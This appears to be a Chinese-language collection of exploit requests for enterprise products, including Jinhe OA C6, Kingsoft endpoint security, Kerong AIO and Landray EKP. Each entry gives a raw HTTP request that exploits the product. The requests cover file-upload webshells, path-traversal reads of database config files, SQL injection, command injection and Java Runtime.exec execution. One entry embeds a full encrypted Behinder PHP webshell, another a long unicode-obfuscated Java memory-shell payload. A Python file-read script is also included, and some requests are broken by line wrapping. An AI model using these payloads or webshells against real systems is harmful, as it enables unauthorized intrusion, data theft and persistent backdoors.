Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

金和OA_jc6_Upload任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：C6
- 利用路径：/jc6/servlet/Upload
- 漏洞详情：

```
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 197
Content-Type: multipart/form-data; boundary=ee055230808ca4602e92d0b7c4ecc63d

--ee055230808ca4602e92d0b7c4ecc63d
Content-Disposition: form-data; name="img"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("tteesstt1"); %>
--ee055230808ca4602e92d0b7c4ecc63d--
```

金和OA_C6_UploadFileDownLoadnew存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：C6
- 利用路径：/c6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/
- 漏洞详情：

```
GET /c6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

金和OAC6-FileDownLoad.aspx任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：C6
- 利用路径：/c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx
- 漏洞详情：

```
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Upgrade-Insecure-Requests: 1
```

金和OA_SAP_B1Config.aspx未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：C6
- 利用路径：/C6/JHsoft./C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1CostEAI/SAP_B1Config.aspx/?manage=1
- 漏洞详情：

```
/C6/JHsoft./C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1CostEAI/SAP_B1Config.aspx/?manage=1
```

金和OA_jc6_ntko-upload任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：C6
- 利用路径：/jc6/ntkoUpload/ntko-upload!upload.action
- 漏洞详情：

```
POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: you_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Length: 392
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----zqulxi4ku42pfmoelvc0
Connection: close
```

```
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="filename"

../../../../upload/xicxc2sv1n.jsp
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="upLoadFile"; filename="xicxc2sv1n.jpg"
Content-Type: image/jpeg

<% out.println(111*111); %>
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="Submit"

upload
------zqulxi4ku42pfmoelvc0--
```

金和OA_upload_json.asp存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：C6
- 利用路径：/c6/KindEditor1/asp/upload_json.asp
- 漏洞详情：

```
POST /c6/KindEditor1/asp/upload_json.asp?dir=file HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Length: 338
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------153857212076213662067051609723

-----------------------------153857212076213662067051609723
Content-Disposition: form-data; name="localUrl"


-----------------------------153857212076213662067051609723
Content-Disposition: form-data; name="imgFile"; filename="hhh.txt"
Content-Type: image/png

hhh
-----------------------------153857212076213662067051609723--
```

金和OA_uploadfileeditorsave接口存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：C6
- 利用路径：/C6/Control/UploadFileEditorSave.aspx

- 漏洞详情：

```
POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\qps4cckjuz.asp HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Content-Length: 191
Content-Type: multipart/form-data; boundary=----9fh1lo9qobtszaiahg6v
Accept-Encoding: gzip, deflate

------9fh1lo9qobtszaiahg6v
Content-Disposition: form-data; name="file"; filename="qps4cckjuz.jpg"
Content-Type: image/png

<% response.write(111*111)
%>

------9fh1lo9qobtszaiahg6v--
```

金和OA任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：C6
- 利用路径：/C6/JHSoft.WCF/FunctionNew/FileUploadMessage.aspx
- 漏洞详情：

```
GET /C6/JHSoft.WCF/FunctionNew/FileUploadMessage.aspx?filename=../../../C6/JhSoft.Web.Dossier.JG/JhSoft.Web.Dossier.JG/XMLFile/OracleDbConn.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
```

金和OA C6-GeneralXmlhttpPage.aspx存在SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：C6
- 利用路径：/C6/Jhsoft.Web.appraise/GeneralXmlhttpPage.aspx/?type=CheckAppraiseState&id=
- 漏洞详情：

```
/C6/Jhsoft.Web.appraise/GeneralXmlhttpPage.aspx/?type=CheckAppraiseState&id=1*
```

北京金和网络股份有限公司C6协同管理平台DBModules.aspx存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：C6
- 利用路径：/C6/JHSoft.Web.WorkFlat/DBModules.aspx/
- 漏洞详情：

```
GET /C6/JHSoft.Web.WorkFlat/DBModules.aspx/?interfaceID=1;WAITFOR+DELAY+'0:0:5'--
HTTP/1.1
Host: 123.57.26.236
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36

```

金和OA-C6协同管理平台DBModules.aspx存在SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/C6/JHSoft.Web.WorkFlat/DBModules.aspx/
- 漏洞详情：

```
GET /C6/JHSoft.Web.WorkFlat/DBModules.aspx/?interfaceID=1;WAITFOR+DELAY+'0:0:5'--
HTTP/1.1
Host: 123.57.26.236
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

金慧

金慧-综合管理信息系统-SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Portal/LoginBegin.aspx?ReturnUrl=
- 漏洞详情：

```
POST /Portal/LoginBegin.aspx?ReturnUrl=%2f HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0

Todo=Validate&LoginName=1%27+AND+5094+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%2898%2
9%2BCHAR%28112%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%28509
4%3D5094%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%
28107%29%2BCHAR%28118%29%2BCHAR%28120%29%2BCHAR%28113%29%29%29+AND+%27JKJg%27%3D%
27JKJg&Password=&CDomain=Local&FromUrl=
```

金山

猎鹰安全(金山)终端安全系统V9 远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/inter/software_relation.php
- 漏洞详情：

```
POST /inter/software_relation.php HTTP/1.1
Host: 192.168.249.137:6868
Content-Length: 1557
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://192.168.249.137:6868
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryxRP5VjBKdqBrCixM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

Connection: close ------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="toolFileName" ../../datav.php
------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="toolDescri"
------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="id"
------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="version"
------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="sofe_typeof"
------WebKitFormBoundaryxRP5VjBKdqBrCixM
```

```
Content-Disposition: form-data; name="fileSize"
------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="param"
------WebKitFormBoundaryxRP5VjBKdqBrCixM
Content-Disposition: form-data; name="toolName"
------WebKitFormBoundaryxRP5VjBKdqBrCixM

Content-Disposition: form-data; name="toolImage"; filename="3.php" Content-Type:
image/png
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //rebeyond
$_SESSION['k']=$key; session_write_close();
$post=file_get_contents("php://input"); if(!extension_loaded('openssl')) {
$t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post,
"AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class
C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params);
?>
------WebKitFormBoundaryxRP5VjBKdqBrCixM
```

金万维

金万维-云联应用系统接入平台GNRemote.dll前台存在RCE漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/GNRemote.dll
- 漏洞详情：

```
GET /GNRemote.dll?GNFunction=CallPython&pyFile=os&pyFunc=system&pyArgu=执行的命令
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

九思

九思-OA-任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/jsoa/wpsforlinux/src/upload_l.jsp?openType=
- 漏洞详情：

```
/jsoa/wpsforlinux/src/upload_l.jsp?openType=
```

科立讯通信

福建科立讯通信 指挥调度管理平台 ajax users.php SQL注入漏洞

- 漏洞类型：未知 - SQL注入
- 涉及版本：未知
- 利用路径：/app/ext/ajax_users.php
- 漏洞详情：

```
POST /app/ext/ajax users.php HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0
(Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Content-Type:
application/x-www-form-urlencodeddep levelI=1') UNION ALL SELECT
NULL,CONCAT(0x7e,user0,0x7e),NULL,NULL,NULL-- -
```

福建科立讯通信 指挥调度管理平台存在远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/api/client/audiobroadcast/invite_one_member.php
- 漏洞详情：

```
GET
/api/client/audiobroadcast/invite_one_member.php?
callee=1&roomid=%60echo%20test%3Etest.txt%60 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */* Connection: keep-alive
```

福建科立讯通信 指挥调度管理平台ajax_users存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/app/ext/ajax_users.php
- 漏洞详情：

```
POST /app/ext/ajax_users.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(123456),0x7e),NULL,NULL,NULL-
- -
```

科荣

科荣 AIO 管理系统任意文件读取

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/UtilServlet
- 漏洞详情：

```
import base64
import requests

def poc(ip, file_path):

    # 构造URL地址
    url = f'http://{ip}/UtilServlet'
    headers = {
        'Upgrade - Insecure - Requests': '1',
        'sec - ch - ua - mobile': '?0',
        'Cache - Control': 'no - cache',
        'Pragma': 'no - cache',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept - Encoding': 'gzip, deflate',
        'Content - Type': 'application / x - www - form - urlencoded',
        'sec - ch - ua': '"Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"',
        'sec - ch - ua - platform': '"Windows"',
        'Accept - Language': 'zh-CN,zh;q=0.9',
        'User - Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
        'Content - Length': '0'
    }
    data = {
         f'operation=readErrorExcel&fileName={file_path}'
    }
    print(url,data)
    try:
        response = requests.get(url=url, headers=headers, data=data)
        byte_data = response.encode(encoding='utf-8')
        response = base64.b64encode(byte_data)
        print(response)
        if response.status_code == 200 :
            print(f' {ip} 存在科荣 AIO 管理系统任意文件读取漏洞！！！')
            print(response.text)
    except Exception as e:
        print(f'{ip} 请求失败：{e}')
        pass

if __name__ == '__main__':
    ip = input('请输入目标主机IP地址：')
    file_path = input('请输入需要访问的文件路径：')
    poc(ip, file_path)
```

科荣 AIO 管理系统 UtilServlet 远程代码执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/UtilServlet
- 漏洞详情：

```
POST /UtilServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0)
Gecko/20100101 Firefox/121.0
Content-Type: application/x-www-form-urlencoded

operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStrea
mReader(Runtime.getRuntime().exec("cmd.exe+/c+ipconfig").getI
nputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+
((line+%3d+br.readLine())+!%3d+null)+
{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field
```

科荣AIO管理系统endTime参数存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/moffice
- 漏洞详情：

```
GET /moffice?op=showWorkPlanList&type=1&beginTime=1&endTime=1*&sid=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

科拓

科拓全智能停车视频收费系统CancelIdList存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/KT_Admin/CarCard/DoubtCarNoListFrom.aspx
- 漏洞详情：

```
POST /KT_Admin/CarCard/DoubtCarNoListFrom.aspx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close

start=0&limit=20&filer=1;SELECT SLEEP(5)#
```

科讯

科迅-一卡通管理系统-SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/dormitoryHealthRanking
- 漏洞详情：

```
GET /api/dormitoryHealthRanking?building=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--
HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

科迅-一卡通管理系统-SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/get_kq_tj_today
- 漏洞详情：

```
GET /api/get_kq_tj_today?KaID=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

科讯一卡通管理系统DataService.asmx存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/DataService.asmx
- 漏洞详情：

```
POST /DataService.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/ExeAppCmd"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ExeAppCmd xmlns="http://tempuri.org/">
      <str>{"cmd":"get_sb_guanli","Type":"1');WAITFOR DELAY '0:0:4'--"}</str>
      <files>MTIz</files>
    </ExeAppCmd>
  </soap:Body>
</soap:Envelope>
```

蓝凌

蓝凌EKP存在sys_ui_component远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/sys/ui/sys_ui_component/sysUiComponent.do
- 漏洞详情：

```
POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1
Host:
Accept:application/json,text/javascript,*/*;q=0.01
Accept-Encoding:gzip,deflate
Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
Connection:close
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
User-
Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chro
me/83.0.4103.116Safari/537.36
X-Requested-With:XMLHttpRequest
Content-Length: 395

------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition:form-data;name="method"

replaceExtend
------WebKitFormBoundaryL7ILSpOdIhIIvL51
```

```
Content-Disposition:form-data;name="extendId"

../../../../resource/help/km/review/
------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition:form-data;name="folderName"

../../../ekp/sys/common
------WebKitFormBoundaryL7ILSpOdIhIIvL51--




POST /resource/help/km/review/dataxml.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Cmd: echo stctest
```

```
s_bean=ruleFormulaValidate&script=\u0020\u0020\u0020\u0020\u0062\u006f\u006f\u006
c\u0065\u0061\u006e\u0020\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0066\u0061\u
006c\u0073\u0065\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u007
5\u0070\u0020\u0067\u0072\u006f\u0075\u0070\u0020\u003d\u0020\u0054\u0068\u0072\u
0065\u0061\u0064\u002e\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0054\u0068\u007
2\u0065\u0061\u0064\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0068\u0072\u0065\u
0061\u0064\u0047\u0072\u006f\u0075\u0070\u0028\u0029\u003b\u006a\u0061\u0076\u006
1\u002e\u006c\u0061\u006e\u0067\u002e\u0072\u0065\u0066\u006c\u0065\u0063\u0074\u
002e\u0046\u0069\u0065\u006c\u0064\u0020\u0066\u0020\u003d\u0020\u0067\u0072\u006
f\u0075\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u
002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u006
9\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0022\u
0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u006
9\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u0054\u0068\u0072\u
0065\u0061\u0064\u005b\u005d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u002
0\u003d\u0020\u0028\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0029\u0020\u
0066\u002e\u0067\u0065\u0074\u0028\u0067\u0072\u006f\u0075\u0070\u0029\u003b\u006
6\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u0069\u0020\u003d\u0020\u0030\u
003b\u0020\u0069\u0020\u003c\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u002
e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0020\u0069\u002b\u002b\u0029\u0020\u
007b\u0020\u0074\u0072\u0079\u0020\u007b\u0020\u0054\u0068\u0072\u0065\u0061\u006
4\u0020\u0074\u0020\u003d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u005b\u
0069\u005d\u003b\u0069\u0066\u0020\u0028\u0074\u0020\u003d\u003d\u0020\u006e\u007
5\u006c\u006c\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u
0065\u003b\u0020\u007d\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u007
2\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u
0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u007
4\u0061\u0069\u006e\u0073\u0028\u0022\u0065\u0078\u0065\u0063\u0022\u0029\u0020\u
007c\u007c\u0020\u0021\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u006
9\u006e\u0073\u0028\u0022\u0068\u0074\u0074\u0070\u0022\u0029\u0029\u0020\u007b\u
0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u002
0\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u
0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004
6\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0061\u0072\u0067\u0065\u0074\u0022\u
0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u006
9\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u
0065\u0063\u0074\u0020\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u006
5\u0074\u0028\u0074\u0029\u003b\u0069\u0066\u0020\u0028\u0021\u0028\u006f\u0062\u
006a\u0020\u0069\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u006f\u0066\u0020\u005
2\u0075\u006e\u006e\u0061\u0062\u006c\u0065\u0029\u0029\u0020\u007b\u0020\u0063\u
006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u002
0\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u
0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004
6\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0069\u0073\u0024\u0030\u0022\u
0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u006
9\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u
0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003
b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u
002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u006
5\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u
0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u002
0\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u
0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u006
9\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u
0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002
e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u
```

```
0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u006
1\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u
0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u006
4\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u
0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u007
5\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u
0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u006
6\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u
0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u006
3\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u
006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006
c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u
0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006
c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u
0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u007
4\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u
0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u006
7\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u
0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u007
4\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u
0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u006
f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u
002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u006
9\u0065\u006c\u0064\u0028\u0022\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u
0072\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u006
5\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u
